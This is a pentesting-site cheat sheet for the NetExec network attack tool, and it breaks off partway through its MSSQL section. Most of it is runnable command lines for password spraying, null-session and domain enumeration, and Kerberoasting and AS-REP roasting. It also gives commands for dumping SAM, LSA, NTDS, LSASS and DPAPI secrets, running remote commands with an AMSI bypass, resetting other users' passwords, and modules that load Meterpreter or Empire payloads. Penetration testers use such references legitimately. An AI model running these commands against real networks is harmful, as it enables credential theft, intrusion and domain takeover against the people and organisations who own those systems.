Pentesting.Site - NetExec Cheat Sheet

NetExec (a.k.a nxc) is a network service exploitation tool that helps automate assessing the security of large networks.

Download NetExec

Installation

Installation for Linux

1
sudo apt install pipx git
2
pipx ensurepath
3
pipx install git+https://github.com/Pennyw0rth/NetExec

1
sudo apt install python3 python3-pip
2
git clone https://github.com/Pennyw0rth/NetExec
3
cd NetExec
4
python3 -m venv .
5
source bin/activate
6
pip install .
7
NetExec

Installation for Windows

1
pip install pipx
2
python -m pipx ensurepath
3
python -m pipx install git+https://github.com/Pennyw0rth/NetExec

Both standalone binaries are available here or from the download button at the beginning of the cheat sheet.

Selecting & Using a Protocol

Available Protocols

smb
ssh
ldap
ftp
wmi
winrm
rdp
vnc
mssql
nfs

Using Protocol Options

1
nxc <protocol> --help                   #View a protocols options
2
nxc <protocol> <protocol options>       #Use protocol options

Target Formats

1
netexec <protocol> hacker.local                   #Hostname format
2
netexec <protocol> 192.168.1.0 192.168.0.2        #IP address(s)
3
netexec <protocol> 192.168.1.0/24                 #CIDR notation(s)
4
netexec <protocol> 192.168.1.0-28 10.0.0.1-67     #IP range(s)
5
netexec <protocol> ~/targets.txt                  #File containing a list of targets or combination of the above

Viewing Available Modules for a Protocol

1
nxc smb -L            #View all modules for the SMB protocol
2
nxc ssh -L            #View all modules for the SSH protocol
3
nxc ldap -L           #View all modules for the LDAP protocol
4
nxc ftp -L            #View all modules for the FTP protocol
5
nxc wmi -L            #View all modules for the WMI protocol
6
nxc winrm -L          #View all modules for the WINRM protocol
7
nxc rdp -L            #View all modules for the RDP protocol
8
nxc vnc -L            #View all modules for the VNC protocol
9
nxc mssql -L          #View all modules for the MSSQL protocol

SMB Modules

1
nxc smb <target(s)> -M <module name>                                  #Basic Syntax
2
nxc smb <target(s)> -u 'user' -p 'pass' -M lsassy                     #Example of using the lsassy module
3
nxc smb -M lsassy --options                                           #View module options
4
nxc smb <target(s)> -u 'user' -p 'pass' -M lsassy -o COMMAND='xxxx'   #Using lsassy module option. All options are specified in the form of KEY=value

Low Privilege Modules

1
add-computer              #Adds or deletes a domain computer
2
backup_operator           #Exploit user in backup operator group to dump NTDS
3
coerce_plus               #Module to check if the Target is vulnerable to any coerce vulns. Set LISTENER IP for coercion.
4
dfscoerce                 #Module to check if the DC is vulnerable to DFSCocerc.
5
drop-sc                   #Drop a searchConnector-ms file on each writable share
6
enum_av                   #Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)
7
enum_ca                   #Anonymously uses RPC endpoints to hunt for ADCS CAs
8
gpp_autologin             #Searches the domain controller for registry.xml to find autologon information and returns the username and password.
9
gpp_password              #Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.
10
ioxidresolver             #This module helps you to identify hosts that have additional active interfaces
11
ms17-010                  #MS17-010 - EternalBlue - NOT TESTED OUTSIDE LAB ENVIRONMENT
12
nopac                     #Check if the DC is vulnerable to CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user
13
petitpotam                #Module to check if the DC is vulnerable to PetitPotam.
14
printnightmare            #Check if host vulnerable to printnightmare
15
remove-mic                #Check if host vulnerable to CVE-2019-1040
16
scuffy                    #Creates and dumps an arbitrary .scf file with the icon property containing a UNC path to the declared SMB server against all writeable shares
17
shadowcoerce              #Module to check if the target is vulnerable to ShadowCoerce.
18
slinky                    #Creates windows shortcuts with the icon attribute containing a UNC path to the specified SMB server in all shares with write permissions
19
smbghost                  #Module to check for the SMB dialect 3.1.1 and compression capability of the host, which is an indicator for the SMBGhost vulnerability (CVE-2020-0796).
20
spider_plus               #List files recursively and save a JSON share-file metadata to the 'OUTPUT_FOLDER'. See module options for finer configuration.
21
spooler                   #Detect if print spooler is enabled or not
22
timeroast                 #Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account
23
webdav                    #Checks whether the WebClient service is running on the target
24
zerologon                 #Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472

High Privilege Modules (requires admin privs)

1
bitlocker                 #Enumerating BitLocker Status on target(s) If it is enabled or disabled
2
dpapi_hash                #Remotely dump Dpapi hash based on masterkeys
3
bh_owned                  #Set pwned computer as owned in Bloodhound
4
empire_exec               #Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
5
enum_dns                  #Uses WMI to dump DNS from an AD DNS Server
6
firefox                   #Dump credentials from Firefox
7
get_netconnections        #Uses WMI to query network connections.
8
handlekatz                #Get lsass dump using handlekatz64 and parse the result with pypykatz
9
hash_spider               #Dump lsass recursively from a given hash using BH to find local admins
10
iis                       #Checks for credentials in IIS Application Pool configuration files using appcmd.exe
11
impersonate               #List and impersonate tokens to run command as locally logged on users
12
install_elevated          #Checks for AlwaysInstallElevated
13
keepass_discover          #Search for KeePass-related files and process.
14
keepass_trigger           #Set up a malicious KeePass trigger to export the database in cleartext.
15
lsassy                    #Dump lsass and parse the result remotely with lsassy
16
masky                     #Remotely dump domain user credentials via an ADCS and a KDC
17
met_inject                #Downloads the Meterpreter stager and injects it into memory
18
mobaxterm                 #Remotely dump MobaXterm credentials via RemoteRegistry or NTUSER.dat export
19
mremoteng                 #Dump mRemoteNG Passwords in AppData and in Desktop / Documents folders (digging recursively in them)
20
msol                      #Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server
21
nanodump                  #Get lsass dump using nanodump and parse the result with pypykatz
22
notepad++                 #Extracts notepad++ unsaved files.
23
ntdsutil                  #Dump NTDS with ntdsutil
24
ntlmv1                    #Detect if lmcompatibilitylevel on the target is set to lower than 3 (which means ntlmv1 is enabled)
25
pi                        #Run command as logged on users via Process Injection
26
powershell_history        #Extracts PowerShell history for all users and looks for sensitive commands.
27
procdump                  #Get lsass dump using procdump64 and parse the result with pypykatz
28
putty                     #Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found.
29
rdcman                    #Remotely dump Remote Desktop Connection Manager (sysinternals) credentials
30
rdp                       #Enables/Disables RDP
31
recent_files              #Extracts recently modified files
32
reg-query                 #Performs a registry query on the machine
33
reg-winlogon              #Collect autologon credential stored in the registry
34
remote-uac                #Enable or disable remote UAC
35
runasppl                  #Check if the registry value RunAsPPL is set or not
36
schtask_as                #Remotely execute a scheduled task as a logged on user
37
security-questions        #Gets security questions and answers for users on computer
38
shadowrdp                 #Enables or disables shadow RDP
39
snipped                   #Downloads screenshots taken by the (new) Snipping Tool
40
teams_localdb             #Retrieves the cleartext ssoauthcookie from the local Microsoft Teams database, if teams is open we kill all Teams process
41
test_connection           #Pings a host
42
uac                       #Checks UAC status
43
veeam                     #Extracts credentials from local Veeam SQL Database
44
vnc                       #Loot Passwords from VNC server and client configurations
45
wam                       #Dump access token from Token Broker Cache.
46
wcc                       #Check various security configuration items on Windows machines
47
wdigest                   #Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
48
web_delivery              #Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery module
49
wifi                      #Get key of all wireless interfaces
50
winscp                    #Looks for WinSCP.ini files in the registry and default locations and tries to extract credentials.

SMB Usage

Scan for Vulnerabilities

1
nxc smb <dc_ip> -u '' -p '' -M zerologon              #Check if a DC is vulnerable to zerologon
2
nxc smb <dc_ip> -u '' -p '' -M petitpotam             #Check if a DC is vulnerable to petitpotam
3
nxc smb <dc_ip> -u 'user' -p 'pass' -M nopac          #Check if a DC is vulnerable nopac (Requires Credentials)
4
nxc smb <ip> -u 'user' -p 'pass' -M printnightmare    #Check for PrintNightmare
5
nxc smb <ip> -u 'user' -p 'pass' -M smbghost          #Check if target is vulnerable to SMBGhost
6
nxc smb <ip> -u '' -p '' -M ms17-010                  #Check if target is vulnerable to MS17-010
7
nxc smb <ip> -u 'user' -p 'pass' -M ntlm_reflection   #Check if target is vulnerable to CVE-2025-33073 NTLM Reflection

Enumeration

1
nxc smb 10.1.1.0/24                                        #Returns a list of live hosts
2
nxc smb 10.1.1.1 -u '' -p ''                               #Enumerate Null sessions
3
nxc smb 10.1.1.1 -u '' -p '' --shares                      #Enumerate shares with Null sessions
4
nxc smb 10.1.1.1 -u '' -p '' --pass-pol                    #Enumerate password policy with Null sessions
5
nxc smb 10.1.1.1 -u '' -p '' --users                       #Enumerate users with Null sessions
6
nxc smb 10.1.1.1 -u '' -p '' --groups                      #Enumerate groups with Null sessions
7
nxc smb 10.1.1.0/24 --gen-relay-list relay_list.txt        #Enumerates the network of live hosts and saves a list of only the hosts that don't require SMB signing
8
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --sessions         #Enumerate active sessions on the remote target
9
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --shares           #Enumerate shares and share permissions on all hosts
10
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --disks            #Enumerate disks on the remote target
11
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --loggedon-users   #Enumerate logged users on the remote target
12
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --users            #Enumerate domain users on the remote target
13
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --rid-brute        #Enumerate users by bruteforcing the RID on the remote target
14
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --groups           #Enumerate domain groups on the remote target
15
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --local-group      #Enumerate local groups on the remote target
16
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --pass-pol         #Enumerate the password policy of the domain
17
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M enum_av            #Enumerate antivirus installed on the host. Requires Admin privileges.
18
nxc smb 10.1.1.0/24  -u 'user' -p 'pass' --qwinsta         #Enumerate active Windows sessions. Requires Admin privileges (or local admin --local-auth)
19
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --reg-sessions     #Enumerate logged-on users with the remote registry service
20
nxc smb 10.1.1.1 -u 'user' -p 'pass' --interfaces          #Enumerate network interfaces
21
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M lockscreendoors    #Enumerate changed lockscreen executables. Requires Admin privileges (or local admin --local-auth)
22
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M sccm-recon6        #Enumerate primary site server and distribution point via recon6
23
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M keepass_discover   #Enumerate if Keepass is installed on the target system

Password Spraying

1
nxc smb 10.1.1.1 -u user1 user2 user3 -p Password1                          #Spraying multiple users with one password
2
nxc smb 10.1.1.1 -u user1 -p password1 password2 password3                  #Spraying one user with multiple passwords
3
nxc smb 10.1.1.1 -u /path/to/users.txt -p Password1 --continue-on-success   #Spraying a file of users with a password/ Remove --continue-on-success if you want to stop on the first success.
4
nxc smb 10.1.1.1 -u Administrator -p /path/to/passwords.txt                 #Spraying one user with a file of passwords
5
nxc smb 10.1.1.1 -u user.txt -p password.txt                                #Sprays each user in the user file with every password in the password list

Checking Credentials

1
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --local-auth                                                                 #Checking local authentication with username and password
2
nxc smb 10.1.1.0/24 -u '' -p '' --local-auth                                                                         #Checking if blank username and password can authenticate locally
3
nxc smb 10.1.1.0/24 -u 'user' -H '13b29964cc2480b4ef454c59562e675c' --local-auth                                     #Checking if a user has local authentication access using the NTHASH
4
nxc smb 10.1.1.0/24 -u 'user' -H 'aad3b435b51404eeaad3b435b51404ee:13b29964cc2480b4ef454c59562e675c' --local-auth    #Checking if a user has local authentication access using LM:NT hash format

Delegation

1
nxc smb 10.1.1.1 -u 'user' -p 'pass' --delegate Administrator               #If you have an object with the msDS-AllowedToActOnBehalfOfOtherIdentity attribute set to an account you control. Resource Based Constrained Delegation (RBCD).
2
nxc smb 10.1.1.1 -u 'MACHINE$' -H 'hash' --delegate Administrator --self    #If you have a computer account you can (nearly) always get local administrator with the s4u2self extension

Executing Remote Commands

1
nxc 10.1.1.1 -u 'user' -p 'pass' -x whoami                                            #Executes the whoami command on the remote target
2
nxc 10.1.1.1 -u 'user' -p 'pass' -X '$PSVersionTable'                                 #Execute PowerShell commands on the remote target
3
nxc 10.1.1.1 -u 'user' -p 'pass' -X '$PSVersionTable'  --amsi-bypass /path/payload    #Bypass AMSI

Spidering Shares

1
nxc SMB 10.1.1.1 -u 'user' -p 'pass' --spider C\$ --pattern txt             #Spider the C drive for files with txt in the file name
2
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M spider_plus                         #List all readable files
3
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True   #Dump all files from all readable shares on the target host

Get and Put Files

1
nxc smb 10.1.1.1 -u 'user' -p 'pass' --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt   #Send a local file to the remote target
2
nxc smb 10.1.1.1 -u 'user' -p 'pass' --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt   #Get a remote file on the remote target

Obtaining Credentials

1
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --sam                       #Dump SAM hashes. Requires Administrator privileges
2
nxc smb 10.1.1.0/24 -u 'user' -p 'pass' --lsa                       #Dump LSA secrets. Requires Domain Administrator or Local Administrator Priviledges
3
nxc smb 10.1.1.1 -u 'user' -p 'pass' --ntds                         #Dump the NTDS.dit from target DC. Requires Domain Administrator or Local Administrator Priviledges
4
nxc smb 10.1.1.1 -u 'user' -p 'pass' --ntds --users                 #Dump the NTDS.dit from target DC. Requires Domain Administrator or Local Administrator Priviledges
5
nxc smb 10.1.1.1 -u 'user' -p 'pass' --ntds --users --enabled       #Dump the NTDS.dit from target DC. Requires Domain Administrator or Local Administrator Priviledges
6
nxc smb 10.1.1.1 -u 'user' -p 'pass' --ntds vss                     #Dump the NTDS.dit from target DC. Requires Domain Administrator or Local Administrator Priviledges
7
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M lsassy                      #Dump LSASS using Lsassy. Requires Administrator privileges
8
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M nanodump                    #Dump LSASS using Nanodump. Requires Administrator privileges
9
nxc smb 10.1.1.1 -u 'user' -p 'pass' --dpapi                        #Dump DPAPI credentials.
10
nxc smb 10.1.1.1 -u 'user' -p 'pass' --dpapi cookies                #Dump DPAPI credentials. Collect all cookies in browsers
11
nxc smb 10.1.1.1 -u 'user' -p 'pass' --dpapi nosystem               #Dump DPAPI credentials. Won't collect system credentials
12
nxc smb 10.1.1.1 -u 'user' -p 'pass' --local-auth --dpapi nosystem  #Dump DPAPI credentials using local auth account. Won't collect system credentials
13
nxc smb 10.1.1.1 -u 'user' -p 'pass' --sccm                         #Dump the SCCM from target. Requires Domain Administrator or Local Administrator Priviledges
14
nxc smb 10.1.1.1 -u 'user' -p 'pass' --sccm disk                    #Dump the SCCM from target. Requires Domain Administrator or Local Administrator Priviledges
15
nxc smb 10.1.1.1 -u 'user' -p 'pass' --sccm wmi                     #Dump the SCCM from target. Requires Domain Administrator or Local Administrator Priviledges
16
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M wireless                    #Dump the WIFI password register in Windows. Requires Administrator privileges
17
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M veeam                       #Dump passwords used by Veeam for backup jobs. Requires Administrator privileges
18
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M winscp                      #Dump WinSCP Credentials stored in the registry or local files. Requires Administrator privileges
19
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M rdcman                      #Dump Remote Desktop Connection Manager credentials. Requires Administrator privileges
20
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M security-questions          #Dump a local user's security questions if they have them. Requires at least local Administrative privileges
21
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M backup_operator             #Dump with BackupOperator priv. You don't need local admin privs on the remote target if you are in SeBackupPrivilege
22
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M wam                         #Dump access token for Azure and Microsoft 365 from Token Broker Cache. Administrator or Local Administrator Priviledges
23
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M wifi                        #Dump the WiFi password register in Windows
24
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M keepass_trigger             #Dump the master password to decrypt the database. KEEPASS_CONFIG_PATH="path_from_module_discovery"
25
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M putty                       #Dump PuTTY private keys. Requires Administrator or Local Administrator Priviledges
26
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M vnc                         #Dump VNC passwords from RealVNC or TightVNC. Requires Administrator or Local Administrator Priviledges
27
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M mremoteng                   #Dump mRemoteNG stored credentials. Requires Administrator or Local Administrator Priviledges
28
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M notepad                     #Dump unsaved Notepad documents. Requires Administrator or Local Administrator Priviledges
29
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M notepad++                   #Dump unsaved Notepad++ documents. Requires Administrator or Local Administrator Priviledges
30
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M rdcman                      #Dump Remote Desktop credential manager credentials. Requires Administrator or Local Administrator Priviledges
31
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M eventlog_creds              #Parses Windows logs for Event ID 4688, as well as sysmon logs for Event ID 1 to extract credentials from CMD and PowerShell commands

Changing User Passwords

1
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M change-password -o NEWPASS=NewPassword                                          #Change the password of the current user to NewPassword
2
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M change-password -o NEWNTHASH=31d6cfe0d16ae931b73c59d7e0c089c0                   #Change the password of the current user to new NT hash
3
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M change-password -o USER=TargetUser NEWPASS=NewPassword                          #Change the password of different user
4
nxc smb 10.1.1.1 -u 'user' -p 'pass' -M change-password -o USER=TargetUser NEWHASH=10C035D527CA60BE3ADF51996E7CD7E1     #Change the password of a different user to new NT hash

SSH Modules

No SSH modules at this time

SSH Usage

Password Spraying

1
nxc ssh 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce --continue-on-success      #Password spray SSH

Testing credentials

1
nxc ssh 10.1.1.0/24 -u 'user' -p 'pass'                                                    #Tests credentials provided
2
nxc ssh 10.1.1.0/24 --port 2222                                                            #Change SSH port to non-standard port

LDAP Modules

1
nxc ldap <target(s)> -M <module name>                                         #Basic Syntax
2
nxc ldap <target(s)> -u 'user' -p 'pass' -M find-computer                     #Example of using the find-computer module
3
nxc ldap -M find-computer --options                                           #View module options
4
nxc ldap <target(s)> -u 'user' -p 'pass' -M find-computer -o COMMAND='xxxxx'  #Using find-computer module option. All options are specified in the form of KEY=value

Low Privilege Modules

1
adcs                      #Find PKI Enrollment Services in Active Directory and Certificate Templates Names
2
daclread                  #Read and backup the Discretionary Access Control List of objects. This module cannot read the DACLS recursively.
3
enum_trusts               #Extract all Trust Relationships, Trusting Direction, and Trust Transitivity
4
find-computer             #Finds computers in the domain via the provided text
5
get-desc-users            #Get description of the users. May contained password
6
get-network               #Query all DNS records with the corresponding IP from the domain.
7
get-unixuserpassword      #Get unixUserPassword attribute from all users in ldap
8
get-userpassword          #Get userPassword attribute from all users in ldap
9
group-mem                 #Retrieves all the members within a Group
10
groupmembership           #Query the groups to which a user belongs.
11
laps                      #Retrieves all LAPS passwords which the account has read permissions for.
12
ldap-checker              #Checks whether LDAP signing and binding are required and / or enforced
13
maq                       #Retrieves the MachineAccountQuota domain-level attribute
14
obsolete                  #Extract all obsolete operating systems from LDAP
15
pre2k                     #Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each
16
pso                       #Query to get PSO from LDAP
17
sccm                      #Find a SCCM infrastructure in the Active Directory
18
subnets                   #Retrieves the different Sites and Subnets of an Active Directory
19
user-desc                 #Get user descriptions stored in Active Directory
20
whoami                    #Get details of provided user

High Privilege Modules (requires admin privs)

1
None

LDAP Usage

LDAP Authentication

1
nxc ldap 10.1.1.0/24 -u users.txt -p '' -k                             #Testing if an account exists without kerberos protocol
2
nxc ldap 10.1.1.0/24 -u 'user' -p 'pass'                               #Testing credentials
3
nxc ldap 10.1.1.0/24 -u 'user' -H 'A29F7623FD11550DEF0192DE9246F46B'   #Testing hash credentials

Enumerate Users

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --users                          #Enumerate all users via LDAP
2
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --active-users                   #Enumerate just the active users via LDAP

Enumerate Domain Groups

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --groups                         #Enumerate all groups in the domain
2
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --groups "Domain Admins"         #Enumerate all members in specific group via LDAP

Query LDAP

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --query "(sAMAccountName=Administrator)" ""                                            #An alternative to ldapsearch
2
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --query "(sAMAccountName=Administrator)" "sAMAccountName objectClass pwdLastSet"       #Query raw ldap values you can use the query option together with filters

ASREPRoast

1
nxc ldap 10.1.1.1 -u 'user' -p '' --asreproast output.txt            #Retrieve the Kerberos 5 AS-REP etype 23 hash of a user without Kerberos pre-authentication required
2
nxc ldap 10.1.1.1 -u users.txt -p '' --asreproast output.txt         #Retrieve the Kerberos 5 AS-REP etype 23 hash of a list of users without Kerberos pre-authentication required
3
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --asreproast output.txt        #Retrieve all the users and hashes where the Kerberos pre-authentication is not required. Requires credentials

Find Domain SID

1
nxc ldap DC1.hacker.local -u 'user' -p 'pass' -k --get-sid           #Find the domain SID

Kerberoasting

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --kerberoasting output.txt     #Retrieve the Kerberos 5 TGS-REP etype 23 hash. Requires domain credentials

Find Misconfigured Delegation

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --find-delegation              #NetExec allows you to retrieve the list of all misconfigured delegations

Unconstrained Delegation

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --trusted-for-delegation       #Retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION

Admin Count

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --admin-count                  #adminCount Indicates that a given object has had its ACLs changed to a more secure value

Machine Account Quota

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M maq                         #Retrieve the MachineAccountQuota domain-level attribute

Get User Descriptions

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M get-desc-users              #Look for password inside the user's description.

Dump gMSA

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --gmsa                         #Extract the password of a gMSA account

Exploit ESC8 (ADCS)

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M adcs                                #List All PKI Enrollment Servers
2
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M adcs -o SERVER='xxxx'               #List All Certificates Inside a PKI

Extract Subnet

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M get-network                         #Extract subnet over an active directory environment
2
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M get-network -o ONLY_HOSTS=true      #Extract subnets with hosts over an active directory environment
3
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M get-network -o ALL=true             #Extract all subnets over an active directory environment

Check LDAP Signing

1
nxc ldap -u 'user' -p 'pass' -M ldap-checker                                 #Verify if ldap requires channel binding or not

Read DACL Rights

1
nxc ldap hack-dc.local -k --kdcHost hack-dc.local -M daclread -o TARGET=Administrator ACTION=read                            #Read all the ACEs of the Administrator account
2
nxc ldap hack-dc.local -k --kdcHost hack-dc.local -M daclread -o TARGET=Administrator ACTION=read PRINCIPAL=Hacker           #Read all the rights the Hacker user has on the Administrator
3
nxc ldap hack-dc.local -k --kdcHost hack-dc.local -M daclread -o TARGET_DN="DC=HACK-DC,DC=LOCAL" ACTION=read RIGHTS=DCSync   #Read all the principals that have DCSync rights on the domain
4
nxc ldap hack-dc.local -k --kdcHost hack-dc.local -M daclread -o TARGET=targets.txt ACTION=backup                            #Backup the DACLs of multiple targets

Extract gMSA Secrets

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724     #Convert gMSA id
2
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e2.........'    #convert gMSA LSM to NTLM

BloodHound Ingestor

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --bloodhound --collection All       #NetExec bloodhound collector

List DC IP and Domain Enum Trusts

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' --dc-list                           #List Domain Controllers and their IP Addresses

Enumerate SCCM

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M sccm -o REC_RESOLVE=TRUE         #Find SCCM Site-Servers, SCCM Sites, SCCM Management Points and Users, Computers or Groups related to SCCM

Enumerate Entra ID

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M entra-id                         #Find the Entra ID synchronization server

Dump PSO

1
nxc ldap 10.1.1.1 -u 'user' -p 'pass' -M pso                              #Dump PSO (Fine-Grained Password Policies (FGPPs) or Password Settings Objects (PSOs))

FTP Modules

No FTP modules at this time

FTP Usage

Password Spraying

1
nxc ftp 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce                            #FTP password spraying (without bruteforce)
2
nxc ftp 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce --continue-on-success      #FTP password spraying continue on success

File Listing

1
nxc ftp 10.1.1.1 -u 'user' -p 'pass' --ls                              #Lists FTP files on the remote host
2
nxc ftp 10.1.1.1 -u 'user' -p 'pass' --ls 'directory'                  #Lists FTP Files in a specific directory on the remote host

Download a File

1
nxc ftp 10.1.1.1 -u 'user' -p 'pass' --get 'file'                      #Download a specific file from the FTP server

Upload a file

1
nxc ftp 10.1.1.1 -u 'user' -p 'pass' --put 'local file' 'remote file'  #Upload a file to the FTP server

WMI Modules

1
nxc wmi <target(s)> -M <module name>                                    #Basic Syntax
2
nxc wmi <target(s)> -u 'user' -p 'pass' -M spooler                      #Using the spooler module
3
nxc wmi -M spooler --options                                            #View module options
4
nxc wmi <target(s)> -u 'user' -p 'pass' -M spooler -o COMMAND='xxxxx'   #Using spooler module option. All options are specified in the form of KEY=value

Low Privilege Modules

1
ioxidresolver             #This module helps you to identify hosts that have additional active interfaces
2
spooler                   #Detect if print spooler is enabled or not
3
zerologon                 #Module to check if the DC is vulnerable to Zerologon aka CVE-2020-1472

High Privilege Modules (requires admin privs)

1
bitlocker                 #Enumerating BitLocker Status on target(s) If it is enabled or disabled.
2
enum_dns                  #Uses WMI to dump DNS from an AD DNS Server
3
get_netconnections        #Uses WMI to query network connections.
4
rdp                       #Enables/Disables RDP

WMI Usage

Password Spraying

1
nxc wmi 10.1.1.0/24 -u userfile -p passwordfile                            #Password spraying
2
nxc wmi 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce            #Password spraying without bruteforce and continue on success

Authentication

1
nxc wmi 10.1.1.1 -u 'user' -p 'pass'                                       #Testing Windows credentials with open SMB port
2
nxc wmi 10.1.1.1 -u 'user' -p 'pass' -d Hack.local                         #Testing Windows credentials with closed SMB port
3
nxc wmi 10.1.1.1 -u 'user' -p 'pass' --local-auth                          #Testing Local account credentials on remote target

Command Execution

1
nxc wmi 10.1.1.1 -u 'user' -p 'pass' -u user -p 'password' -x whoami       #Execute command on remote host using WMI

MSSQL Modules

1
nxc mssql <target(s)> -M <module name>                                        #Basic Syntax
2
nxc mssql <target(s)> -u 'user' -p 'pass' -M mssql_priv                       #Example of using the mssql_priv module
3
nxc mssql -M mssql_priv --options                                             #View module options
4
nxc mssql <target(s)> -u 'user' -p 'pass' -M mssql_priv -o COMMAND='xxxxx'    #Using mssql_priv module option. All options are specified in the form of KEY=value

Low Privilege Modules

1
enum_impersonate          #Enumerate users with impersonation privileges
2
enum_logins               #Enumerate SQL Server logins
3
exec_on_link              #Execute commands on a SQL Server linked server
4
link_enable_xp            #Enable or disable xp_cmdshell on a linked SQL server
5
link_xpcmd                #Run xp_cmdshell commands on a linked SQL server
6
mssql_coerce              #Execute arbitrary SQL commands on the target MSSQL server
7
mssql_priv                #Enumerate and exploit MSSQL privileges

High Privilege Modules (requires admin privs)

1
empire_exec               #Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
2
enum_links                #Enumerate linked SQL Servers and their login configurations
3
met_inject                #Downloads the Meterpreter stager and injects it into memory
4
nanodump                  #Get lsass dump using nanodump and parse the result with pypykatz
5
test_connection           #Pings a host
6
web_delivery              #Kicks off a Metasploit payload using the exploit/multi/script/web_delivery module

MSSQL Usage

Password Spraying

1
nxc mssql 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce                         #Password spraying MSSQL (without bruteforce)
2
nxc mssql 10.1.1.0/24 -u userfile -p passwordfile --no-bruteforce --continue-on-success   #Password spraying MSSQL (without bruteforce) and continue on success

Authentication

1
nxc mssql 10.1.1.1 -u 'user' -p 'pass'                       #Testing Windows credentials with SMB port open
2
nxc mssql 10.1.1.1 -u 'user' -p 'pass' -d Hack.local         #Testing Windows credentials with SMB port closed
3
nxc mssql 10.1.1.1 -u 'user' -p 'pass' --local-auth          #Testing local credentials
4
nxc mssql 10.1.1.1 -u 'user' -p 'pass' --port 1434           #Specifying a port

MSSQL PrivEsc

1
nxc mssql 10.1.1.1 -u 'user' -p 'pass' -M mssql_priv         #Escalate privileges from standard user to DBA

MSSQL Command Execution

1
nxc mssql 10.1.1.1 -u 'user' -p 'pass' --local-auth -q 'SELECT name FROM master.dbo.sysdatabases;'         #Execute MSSQL command using NetExec

MSSQL Upload & Download

1
nxc mssql 10.1.1.1 -u 'user' -p 'pass' --put-file  --put-file /tmp/users C:\\Windows\\Temp\\whoami.txt     #Upload file
2
